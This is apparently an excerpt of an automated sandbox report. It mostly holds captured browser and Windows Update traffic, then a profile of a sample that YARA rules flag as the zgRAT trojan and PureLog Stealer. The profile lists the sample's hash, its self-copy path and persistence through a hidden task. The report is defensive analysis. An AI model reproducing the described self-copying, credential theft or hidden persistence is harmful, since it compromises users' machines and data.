2024-04-23 21:02:46 UTC	508	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 54 6f 2d 44 6f 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 33 2e 37 31 33 2c 37 2e 38 35 34 2e 33 39 34 2c 31 31 2e 31 37 32 61 31 2e 31 37 2c 31 2e 31 37 2c 30 2c 30 2c 30 2c 30 2c 31 2e 36 35 35 4c 35 2e 33 36 37 2c 31 37 2e 38 6c 34 2e 39 37 34 2d 34 2e 39 37 34 4c 35 2e 33 36 37 2c 37 2e 38 35 34 41 31 2e 31 36 39 2c 31 2e 31 36 39 2c 30 2c 30 2c 30 2c 33 2e 37 31 33 2c 37 2e 38 35 34 5a 22 20 66 69 6c 6c 3d 22 23 31 38 35 61 62 64 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2e 36 30 36 2c 36 2e 32 2c 32 30 2e 32 38 38 2c 32 2e 38 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><title>To-Do_24x</title><path d="M3.713,7.854.394,11.172a1.17,1.17,0,0,0,0,1.655L5.367,17.8l4.974-4.974L5.367,7.854A1.169,1.169,0,0,0,3.713,7.854Z" fill="#185abd"/><path d="M23.606,6.2,20.288,2.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	50006	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:47 UTC	488	OUT	GET /staticsb/statics/latest/icons/office-icons/Viva_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:47 UTC	1129	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: RhNBEKpJc2JI0aD/yJK9vw== Last-Modified: Mon, 22 Apr 2024 19:07:10 GMT ETag: 0x8DC62FF69331C67 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: fbd63032-a01e-00d5-7428-95d9d2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:47 GMT Content-Length: 749 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402759587,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019fa3 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906167.18019fa3 Vary: Origin
2024-04-23 21:02:47 UTC	749	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 39 2e 31 37 31 35 37 20 38 2e 38 32 38 34 33 43 31 30 2e 37 33 33 37 20 31 30 2e 33 39 30 35 20 31 33 2e 32 36 36 33 20 31 30 2e 33 39 30 35 20 31 34 2e 38 32 38 34 20 38 2e 38 32 38 34 33 43 31 36 2e 33 39 30 35 20 37 2e 32 36 36 33 33 20 31 36 2e 33 39 30 35 20 34 2e 37 33 33 36 37 20 31 34 2e 38 32 38 34 20 33 2e 31 37 31 35 37 43 31 33 2e 32 36 36 33 20 31 2e 36 30 39 34 38 20 31 30 2e 37 33 33 37 20 31 2e 36 30 39 34 38 20 39 2e 31 37 Data Ascii: <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M9.17157 8.82843C10.7337 10.3905 13.2663 10.3905 14.8284 8.82843C16.3905 7.26633 16.3905 4.73367 14.8284 3.17157C13.2663 1.60948 10.7337 1.60948 9.17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	50019	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nkGyhUBOnovzuz5&MD=oygleuew HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-23 21:02:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: ccf63a59-f31a-48be-9471-1471c0ecac75 MS-RequestId: dd74b6d6-4df8-49ee-86e9-bd138ddb7a08 MS-CV: bLhNG1qENEqHw8dZ.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 23 Apr 2024 21:02:57 GMT Connection: close Content-Length: 25457
2024-04-23 21:02:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-23 21:02:58 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.4	50230	13.107.246.41	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:06:07 UTC	601	OUT	GET /assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=AddressBar HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: AddressBar Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:06:08 UTC	632	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:06:08 GMT Content-Type: application/octet-stream Content-Length: 403024 Connection: close Content-MD5: j5vaSFhUqCPiC0fEiXk3zw== Last-Modified: Thu, 19 Oct 2023 17:36:16 GMT ETag: "0x8DBD0C9E5CD1B3B" x-ms-request-id: dfdc4c81-401e-0042-29c2-954313000000 x-ms-version: 2017-07-29 x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob x-ms-server-encrypted: true x-azure-ref: 20240423T210607Z-16f56cb894fhr8rcrxcb44u4s400000001b00000000040sv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 21:06:08 UTC	15752	IN	Data Raw: 7b 0d 0a 20 20 20 20 22 30 31 32 33 6d 6f 76 69 65 73 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 39 38 33 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 34 39 34 38 2c 20 31 31 30 36 2c 20 39 39 37 32 5d 7d 22 2c 0d 0a 20 20 20 20 22 31 30 32 30 33 39 38 2e 61 70 70 2e 6e 65 74 73 75 69 74 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 2c 20 35 39 33 38 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 32 32 38 2c 20 32 33 36 5d 7d 22 2c 0d 0a 20 20 20 20 22 31 33 33 37 78 2e 74 6f 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 39 38 33 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 36 35 37 2c 20 34 37 35 2c 20 34 30 36 38 5d 7d 22 2c 0d 0a 20 20 20 20 Data Ascii: { "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}", "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}", "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 3a 20 5b 37 36 37 30 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 33 35 30 33 2c 20 31 32 34 30 2c 20 35 38 34 30 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 70 70 2e 63 65 6e 74 75 72 79 2e 74 65 63 68 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 35 31 30 36 2c 20 35 32 30 33 2c 20 38 34 36 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 70 70 2e 63 68 65 63 6b 65 64 73 61 66 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 2c 20 33 39 37 39 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 35 31 30 36 2c 20 32 31 38 39 2c 20 38 34 36 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 70 70 2e 63 6c 65 61 72 73 63 6f 72 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 Data Ascii: : [7670, 6061], \"Tier2\": [3503, 1240, 5840]}", "app.century.tech": "{\"Tier1\": [6061], \"Tier2\": [5106, 5203, 8469]}", "app.checkedsafe.com": "{\"Tier1\": [6061, 8405, 3979], \"Tier2\": [5106, 2189, 8469]}", "app.clearscore.com": "{\"Ti
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 31 32 39 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 31 36 36 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 77 6f 72 6b 61 2e 61 70 70 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 32 31 34 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 38 37 39 37 2c 20 38 34 36 39 2c 20 38 31 32 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 77 73 2e 68 61 74 63 68 6c 69 6e 67 73 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 39 31 33 32 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 35 34 34 34 2c 20 39 32 34 34 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 77 73 30 35 39 2e 68 6f 73 74 63 6f 6d 6d 73 65 72 76 65 72 73 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c Data Ascii: \"Tier1\": [6129], \"Tier2\": [166]}", "aworka.app": "{\"Tier1\": [214, 6061], \"Tier2\": [8797, 8469, 8129]}", "aws.hatchlings.com": "{\"Tier1\": [9132, 6061], \"Tier2\": [5444, 9244]}", "aws059.hostcommservers.co.uk": "{\"Tier1\": [6061],
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 39 32 38 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 61 72 70 6f 72 74 32 2e 63 61 72 6c 79 6c 65 66 69 6e 61 6e 63 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 32 33 34 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 32 31 39 2c 20 32 37 35 31 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 61 72 74 2e 65 62 61 79 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 38 31 38 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 37 33 39 39 2c 20 39 34 39 37 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 61 72 74 2e 70 61 79 6d 65 6e 74 73 2e 65 62 61 79 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 38 31 38 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 37 33 39 39 2c 20 39 Data Ascii: 928]}", "carport2.carlylefinance.com": "{\"Tier1\": [7234, 8405], \"Tier2\": [6219, 2751]}", "cart.ebay.co.uk": "{\"Tier1\": [7818, 8405], \"Tier2\": [7399, 9497]}", "cart.payments.ebay.co.uk": "{\"Tier1\": [7818, 8405], \"Tier2\": [7399, 9
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 20 38 37 38 33 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 65 64 69 74 67 61 74 65 77 61 79 2e 62 61 72 63 6c 61 79 73 77 65 61 6c 74 68 2e 6e 65 74 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 32 31 39 2c 20 32 33 36 37 2c 20 36 33 31 38 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 65 65 64 61 69 6c 65 65 6e 62 6f 69 6c 65 72 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 31 31 33 34 2c 20 31 39 31 32 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 6a 70 67 61 74 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 39 39 33 34 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 6d Data Ascii: 8783]}", "creditgateway.barclayswealth.net": "{\"Tier1\": [8405], \"Tier2\": [6219, 2367, 6318]}", "creedaileenboiler.com": "{\"Tier1\": [6061], \"Tier2\": [1134, 1912]}", "crjpgate.com": "{\"Tier1\": [6061], \"Tier2\": [9934]}", "crm
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 69 65 72 32 5c 22 3a 20 5b 36 37 36 2c 20 31 31 30 36 2c 20 36 33 38 30 5d 7d 22 2c 0d 0a 20 20 20 20 22 65 6c 63 67 2e 66 61 2e 65 6d 32 2e 6f 72 61 63 6c 65 63 6c 6f 75 64 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 31 35 32 2c 20 32 33 36 2c 20 34 39 31 35 5d 7d 22 2c 0d 0a 20 20 20 20 22 65 6c 65 61 72 6e 2e 72 75 6e 73 68 61 77 2e 61 63 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 36 37 30 2c 20 36 30 36 31 2c 20 38 38 34 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 38 38 31 32 2c 20 31 32 34 30 5d 7d 22 2c 0d 0a 20 20 20 20 22 65 6c 65 61 72 6e 69 6e 67 2e 6e 6f 6f 64 6c 65 6e 6f 77 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b Data Ascii: ier2\": [676, 1106, 6380]}", "elcg.fa.em2.oraclecloud.com": "{\"Tier1\": [6061], \"Tier2\": [6152, 236, 4915]}", "elearn.runshaw.ac.uk": "{\"Tier1\": [7670, 6061, 8845], \"Tier2\": [8812, 1240]}", "elearning.noodlenow.co.uk": "{\"Tier1\": [
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 35 34 37 5d 7d 22 2c 0d 0a 20 20 20 20 22 67 34 73 79 65 74 69 2e 63 6f 67 6e 69 73 6f 66 74 2e 63 6c 6f 75 64 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 32 33 36 5d 7d 22 2c 0d 0a 20 20 20 20 22 67 61 64 67 65 74 73 62 6f 6f 6d 2e 6e 65 74 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 38 35 37 35 2c 20 33 39 35 32 5d 7d 22 2c 0d 0a 20 20 20 20 22 67 61 6c 6c 65 72 69 65 73 2e 70 61 72 65 6e 74 73 64 6f 6d 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 37 38 36 5d 7d 22 2c 0d 0a 20 20 20 20 22 67 61 6d 65 2e 67 72 61 6e 62 6c 75 65 66 61 6e 74 61 73 Data Ascii: 547]}", "g4syeti.cognisoft.cloud": "{\"Tier1\": [6061], \"Tier2\": [236]}", "gadgetsboom.net": "{\"Tier1\": [6061, 8405], \"Tier2\": [8575, 3952]}", "galleries.parentsdome.com": "{\"Tier1\": [], \"Tier2\": [786]}", "game.granbluefantas
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 54 69 65 72 31 5c 22 3a 20 5b 35 36 38 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 39 36 37 33 2c 20 36 30 32 30 2c 20 35 36 38 5d 7d 22 2c 0d 0a 20 20 20 20 22 69 63 74 2e 68 61 74 74 6f 6e 61 63 61 64 65 6d 79 2e 6f 72 67 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 36 37 30 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 39 36 30 5d 7d 22 2c 0d 0a 20 20 20 20 22 69 63 74 70 6f 72 74 61 6c 2e 63 79 6d 72 75 2e 6e 68 73 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 31 34 38 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 5d 7d 22 2c 0d 0a 20 20 20 20 22 69 64 2e 61 74 6c 61 73 73 69 61 6e 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 35 39 33 38 5d 2c 20 5c 22 54 69 65 72 32 Data Ascii: Tier1\": [568], \"Tier2\": [9673, 6020, 568]}", "ict.hattonacademy.org.uk": "{\"Tier1\": [7670], \"Tier2\": [960]}", "ictportal.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": []}", "id.atlassian.com": "{\"Tier1\": [6061, 5938], \"Tier2
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 20 5b 37 36 37 30 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 31 38 33 2c 20 31 32 34 30 2c 20 33 35 30 33 5d 7d 22 2c 0d 0a 20 20 20 20 22 6c 65 64 72 61 70 74 69 2e 6e 65 74 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 39 38 33 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 37 38 33 38 5d 7d 22 2c 0d 0a 20 20 20 20 22 6c 65 65 64 73 2e 63 64 70 73 6f 66 74 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 34 30 35 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 34 35 36 38 2c 20 35 39 32 2c 20 31 31 32 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 6c 65 74 75 73 6b 6e 6f 77 2e 66 6f 63 75 73 76 69 73 69 6f 6e 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 5d 2c 20 5c 22 54 69 65 72 32 5c 22 Data Ascii: [7670], \"Tier2\": [6183, 1240, 3503]}", "ledrapti.net": "{\"Tier1\": [6061, 983], \"Tier2\": [7838]}", "leeds.cdpsoft.com": "{\"Tier1\": [8405, 6061], \"Tier2\": [4568, 592, 1129]}", "letusknow.focusvision.com": "{\"Tier1\": [], \"Tier2\"
2024-04-23 21:06:08 UTC	16384	IN	Data Raw: 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 35 34 36 30 2c 20 33 37 39 2c 20 39 38 34 2c 20 35 34 30 31 2c 20 38 39 39 30 2c 20 36 31 30 31 5d 7d 22 2c 0d 0a 20 20 20 20 22 6d 64 78 2e 6d 72 6f 6f 6d 73 2e 6e 65 74 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 36 37 30 2c 20 35 39 33 38 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 38 39 39 38 2c 20 37 35 38 33 5d 7d 22 2c 0d 0a 20 20 20 20 22 6d 65 2e 73 75 6d 75 70 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 33 32 37 31 2c 20 33 33 38 37 5d 7d 22 2c 0d 0a 20 20 20 20 22 6d 65 64 2e 65 74 6f 72 6f 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 34 Data Ascii: : [6061, 8405], \"Tier2\": [5460, 379, 984, 5401, 8990, 6101]}", "mdx.mrooms.net": "{\"Tier1\": [7670, 5938], \"Tier2\": [8998, 7583]}", "me.sumup.com": "{\"Tier1\": [6061, 8405], \"Tier2\": [3271, 3387]}", "med.etoro.com": "{\"Tier1\": [84

Target ID:	0
Start time:	23:01:57
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\zlONcFaXkc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\zlONcFaXkc.exe"
Imagebase:	0x1dfa7800000
File size:	648'192 bytes
MD5 hash:	1C762A2CD186F1CDE4B9E5D743ECA3B5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1666984608.000001DFA9511000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1675426228.000001DFC1C40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1670015901.000001DFB97BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PersistenceViaHiddenTask, Description: Yara detected PersistenceViaHiddenTask, Source: 00000000.00000002.1665987392.000001DFA7B16000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:02:00
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe
Imagebase:	0x1d099970000
File size:	648'192 bytes
MD5 hash:	1C762A2CD186F1CDE4B9E5D743ECA3B5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
